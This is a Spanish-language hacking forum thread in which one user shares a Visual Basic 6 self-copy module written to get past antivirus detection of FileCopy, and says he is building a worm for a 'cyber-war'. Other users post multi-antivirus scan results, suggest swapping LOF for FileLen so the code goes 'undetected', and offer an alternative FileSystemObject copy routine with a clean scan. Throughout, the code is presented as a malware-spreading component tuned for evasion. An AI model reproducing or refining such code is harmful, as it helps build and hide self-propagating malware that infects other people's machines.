Página 1 de 1
funcion jcopy sin filecopy en vb
Publicado: 19 Ene 2010, 15:04
por josfres
Hola aqui pasandoles a dejar un umilde modulo que cree ya que no he posteado mucho mmm esque aqui en mexico voy a empezar una ciber-war y e estado ucupado creando un gusano jejejejeje. aqui les dejo el sourse:
Lo que hace es copiar nuestro exe al lugar donde queramos
Código: Seleccionar todo
'Modulo:Jcopy'
'Base:Visual Basic 6'
'Creador:Josfres'
'Fecha de creacion:Domingo 17 de Enero del 2009'
'Funcion:Otra manera de copiar un archivo,ya que la mayoria'
'de los AV detectan la funcion Filecopy de Vb'
'Uso y Distribuicion:Se permite la distribuicion siempre y
'cuando se respete el nombre del Autor'
Public Function jcopy(ByVal ruta As String) 'creamos la funcion'
On Error GoTo fallo
Dim datos As String 'marcamos datos como una variable'
Dim yo As String 'marcamos yo como una variable'
yo = App.Path & "\" & App.EXEName & ".exe" 'definimos la variable YO con nuestra ruta'
Open yo For Binary As #1 'nos autoleemos'
datos = Space(LOF(1)) 'definimos datos con todo el espacio'
Get #1, , datos 'obtemos nuestro exe'
Close #1 'nos cerramos'
If Len(Dir(ruta)) Then 'si exite el archivo no hacemos nada
Else 'si no existe lo creamos'
Open ruta For Binary As #1 'abrimos la ruta en binario'
Put #1, , datos 'metemos los datos'
Close #1 'cerramos los datos'
fallo: MsgBox "Error al copiar el archivo", vbCritical, "error"
End If
End Function
Para copiarnos solo en el formulario llamariamos a a funcion
ejemplo:
Re: funcion jcopy sin filecopy en vb
Publicado: 20 Ene 2010, 15:10
por linkgl
xD es justo lo que yo hago para copiar un archivo xD obtener los bits, y escribirlos en la ruta
Re: funcion jcopy sin filecopy en vb
Publicado: 20 Ene 2010, 15:43
por The Swash
Amigo, no es por desmertitar tu trabajo pero hay peros!:
Scan de tu modulo:
File Info
Report generated: 20.1.2010 at 16.42.58 (GMT 1)
Filename: Project1.exe
File size: 20480 bytes
MD5 hash: 2c284d3ad65b20f75f1267721441b242
SHA1 hash: 9075969BFB410E9894FA127CBF008DCAE66B5BA2
Detection rate: 3 on 24
Status: INFECTED
Detections
a-squared - Trojan.Generic!IK
Avira AntiVir - TR/Dropper.Gen
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - Trojan.Generic
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -
Scan report generated by
[Enlace externo eliminado para invitados]
Scan usando FileCopy:
File Info
Report generated: 20.1.2010 at 16.48.58 (GMT 1)
Filename: Project1.exe
File size: 16384 bytes
MD5 hash: 333f2f53425fac297013a5ef53f49220
SHA1 hash: 463DE1173ED18D3A2F59C95C72E97F91E00AEE55
Detection rate: 0 on 24
Status: CLEAN
Detections
a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -
Scan report generated by
[Enlace externo eliminado para invitados]
En ambos hacia lo mismo pero al parecer el tuyo detecta el LOF Len-Of-File puedes reemplazarlo usando FileLen y quedaria undetected!
Salu2 Gracias por tu trabajo!
Re: funcion jcopy sin filecopy en vb
Publicado: 20 Ene 2010, 15:53
por josfres
psss que raro yo lo mande a analizar y no salia nada mmm a la mejor seme olvido marcar la casilla de "no distribuite te sample" tratare de arreglar eso jejejeje gracias The Swash por decirme jejejeje
Re: funcion jcopy sin filecopy en vb
Publicado: 20 Ene 2010, 16:52
por The Swash
Código: Seleccionar todo
'Coded By The Swash at 20/01/2010
'CopyFile Other Method
'http://Infrangelux.sytes.net & www.indetectables.Net
'Thanks BlackZeroX
Option Explicit
Public Function CopyWithObject(sPath As String, nPath As String) As Long
Dim sObj As Object
Dim Ret As Long
If FILEEXIST(sPath) = 0 Then Exit Function
If FILEEXIST(nPath) Then Kill (nPath)
Set sObj = CreateObject("Scripting.FileSystemObject")
Ret = sObj.CopyFile(sPath, nPath)
If FILEEXIST(nPath) <> 0 Then CopyWithObject = 1
End Function
Uso:
Código: Seleccionar todo
Private Sub Command1_Click()
If CopyWithObject("C:\x.exe", "C:\xd.exe") <> 0 Then
MsgBox "file copied"
Else
MsgBox "file not copied"
End If
End Sub
Other use:
Código: Seleccionar todo
Private Sub Command1_Click()
MsgBox iIf (CopyWithObject("C:\x.exe", "C:\xd.exe") = 1 Or 2, "Done","Failed")
End Sub
Scan:
File Info
Report generated: 20.1.2010 at 18.00.12 (GMT 1)
Filename:
Project1.exe
File size: 20480 bytes
MD5 hash: 6754d262a3a69a62b4ea63c6ca649f62
SHA1 hash: 9317D59D19B06A8405632B3658E9C36606ED772D
Detection rate: 0 on 24
Status:
CLEAN
Detections
a-squared - -
Nothing Found!
Avira AntiVir - -
Nothing Found!
Avast - -
Nothing Found!
AVG - -
Nothing Found!
BitDefender - -
Nothing Found!
ClamAV - -
Nothing Found!
Comodo - -
Nothing Found!
Dr.Web - -
Nothing Found!
Ewido - -
Nothing Found!
F-PROT6 - -
Nothing Found!
G-Data - -
Nothing Found!
Ikarus T3 - -
Nothing Found!
Kaspersky - -
Nothing Found!
McAfee - -
Nothing Found!
NOD32 v3 - -
Nothing Found!
Norman - -
Nothing Found!
Panda - -
Nothing Found!
QuickHeal - -
Nothing Found!
Solo Antivirus - -
Nothing Found!
Sophos - -
Nothing Found!
TrendMicro - -
Nothing Found!
VBA32 - -
Nothing Found!
VirusBuster - -
Nothing Found!
ZonerAntivirus - -
Nothing Found!
Scan report generated by
[Enlace externo eliminado para invitados]
Re: funcion jcopy sin filecopy en vb
Publicado: 20 Ene 2010, 17:11
por ShadeHack
Exelente bort "The Swash y josfres" Todo un codder